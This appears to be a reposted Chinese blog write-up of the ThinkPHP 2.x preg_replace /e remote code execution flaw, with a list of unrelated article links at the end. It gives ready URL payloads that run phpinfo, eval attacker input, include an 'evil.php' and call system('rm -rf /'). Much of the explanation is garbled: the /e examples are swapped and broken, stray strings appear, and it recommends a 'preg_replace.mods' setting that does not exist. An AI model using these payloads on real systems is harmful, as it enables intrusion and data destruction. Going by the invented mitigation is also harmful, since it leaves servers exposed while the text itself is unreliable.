博客
关于我
ThinkPHP 2.x 任意代码执行漏洞【复现】
阅读量:801 次
发布时间:2019-03-25

本文共 2574 字,大约阅读时间需要 8 分钟。

ThinkPHP 2.x 任意代码执行漏洞分析

ThinkPHP 2.x 系列中存在一个严重的安全漏洞,该漏洞主要由于 preg_replace 函数的 /e 模式支持导致代码执行。以下将详细分析该漏洞的原理、复现方法及其原因。

漏洞描述

ThinkPHP 2.x 版本中,运行 preg_replace 函数的代码如下:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

该正则表达式设计用于将 URL 参数与应用模块、控制器、操作结合,最后将参数存储到 $var 数组中。问题出在 /e 模式的支持上,这种模式会将替换字符串视为 PHP 代码并立即执行。具体来说,替换字符串 '$var[\'\\1\']="\\2";' 将被PHP解析并执行。

当第三个参数 [^'.$depr.'\/]+ 可控时,会导致恶意代码被注入并执行。例如,一个用户输入的参数 ${@phpinfo()} 会被误解为 PHP 函数调用,从而触发代码执行。

需要注意的是,ThinkPHP 3.0 由于在 Lite 模式下没有修复该漏洞,因此仍然存在相同的安全问题。

漏洞复现

以下为该漏洞的两个常见复现样例:

1. 简单的 PHP 信息显示

完整代码:

/index.php?s=/index/index/name/${@phpinfo()}

2. 执行任意 PHP 函数

完整代码:

/index.php?s=/index/index/name/${@eval($_GET['param'])}

3. 执行任意 PHP 命令

完整代码:

/index.php?s=/index/index/name/${@system('rm -rf /')/>

4. garments/ 如恶意脚本注入

完整代码:

/index.php?s=/index/index/name/${@require_once('garments/evil.php')}

在这些示例中,只需将参数处于 ${...} 结构中,PHP 就会将其解释为变量或者函数调用,从而触发恶意操作。这类攻击通常很难被防御,除非完整消除 /e 模式支持。

原因分析

1. preg_replace 优势

preg_replace 函数用于处理字符串中的模式匹配和替换,是 PHP 中非常强大的工具。但在 /e 模式下,它的功能扩展得尤为突出,可以执行动态代码。

2. /e 模式机制

  • /e 模式的全称是 /e modifier,它告诉 PHP 解析替换后的字符串作为代码并立即执行。具体来说:
// 正常模式$str = preg_replace('@\p{L}+@e', '$str = $str . " " . $0;', 'Hello, World!');// 输出:Hello, World! Hello, World!
// /e 模式$str = preg_replace('/\p{L}+/', '$str = $str . " " . $0;', 'Hello, World!');// 输出:(Hello, World!) Hello, World!

这说明,在 /e 模式下,替换的结果将直接被嵌入到 PHP 代码中执行。这一点在将数据直接注入至变量或代码执行时尤为危险。

3. 代码路径分析

该漏洞的一个关键部分是 preg_replace 的替换字符串设计为 '$var[\'\\1\']="\\2";',其中 \1\2 是正则匹配组的结果。假设路径字符串为 /one/two/three,则:

  • 将路径按 / 分割为 ['one', 'two', 'three']
  • preg_replace 中,(\w+) 匹配 one([^/]+) 匹配 two
  • 最终替换结果为 $var['one'] = 'two'.
  • 应用类似操作至所有路径分组。
  • 这满足了应用默认路由规则,并可将参数动态注入至变量中。然而,路径输入可控的情况下,原始替换字符串可以被用来添加用户提供的代码。

    4. common 特例

  • 静态 PHP 函数

    好的,函数名需要是有效的 PHP 函数名称。例如:

    /index.php?s=/index/index/name/${@echo('Tliğinec6645444');}
  • 重要的随机字符集合

    例如 @random_string(30),但需要注意不能包含不安全字符。

  • 构建独立的恶意脚本

    例如 /path/to/evil.php,或者直接调用外部脚本。

  • 5."nil静态"(pseudo static call)*

    安全专家建议线上应用应完全避免这种情况:

    ${'evil'}`helloworld`

    但如果要保护设备,可以临时禁用 /e 模式或使用合成字符串表示变量。

    防御措施

    1. 关闭 /e 模式

    在 ThinkPHP 2.x 的版本中,可以通过在 php.ini 中禁用 /e 模式。

    preg_replace.mods = ""

    这将禁止所有正则表达式 ${...} 代入代码执行。

    或者在代码中手动禁用:

    ini_set('preg_replace.mods', '');

    2. 防御技术

    在应用中设计一个安全的参数过滤系统,确保用户输入无法直接注入到典型的函数或变量体中。

    3. 路由参数验证

    在处理路径参数前,建议进行全面检查,确保所有用户输入都是预期的路径分量且经过严格验证。

    4. 远程代码执行防御

    使用安全套件(如 PHP 函数库)来包裹和过滤所有外部调用,以确保代码无法被注入到服务器。

    5. 输出 logging

    在任务执行前记录所有关键输入参数,便于后续审计和响应。

    结论

    ThinkPHP 2.x 的任意代码执行漏洞是由于 /e 模式的强大特性所引发的,结合传入参数的动态替换,极易导致严重后果。这一漏洞的复现相对简单,仅需将任意代码放置在 ${...} 结构中即可触发。

    开发者应当及时修复这一漏洞,并在生产环境中启用适当的安全防护措施,以防范类似的潜在攻击面。

    转载地址:http://zqcyk.baihongyu.com/

    你可能感兴趣的文章
    MySQL 8.0 恢复孤立文件每表ibd文件
    查看>>
    MySQL 8.0开始Group by不再排序
    查看>>
    mysql ansi nulls_SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON 什么意思
    查看>>
    multi swiper bug solution
    查看>>
    MySQL Binlog 日志监听与 Spring 集成实战
    查看>>
    MySQL binlog三种模式
    查看>>
    multi-angle cosine and sines
    查看>>
    Mysql Can't connect to MySQL server
    查看>>
    mysql case when 乱码_Mysql CASE WHEN 用法
    查看>>
    Multicast1
    查看>>
    mysql client library_MySQL数据库之zabbix3.x安装出现“configure: error: Not found mysqlclient library”的解决办法...
    查看>>
    MySQL Cluster 7.0.36 发布
    查看>>
    Multimodal Unsupervised Image-to-Image Translation多通道无监督图像翻译
    查看>>
    MySQL Cluster与MGR集群实战
    查看>>
    multipart/form-data与application/octet-stream的区别、application/x-www-form-urlencoded
    查看>>
    mysql cmake 报错,MySQL云服务器应用及cmake报错解决办法
    查看>>
    Multiple websites on single instance of IIS
    查看>>
    mysql CONCAT()函数拼接有NULL
    查看>>
    multiprocessing.Manager 嵌套共享对象不适用于队列
    查看>>
    multiprocessing.pool.map 和带有两个参数的函数
    查看>>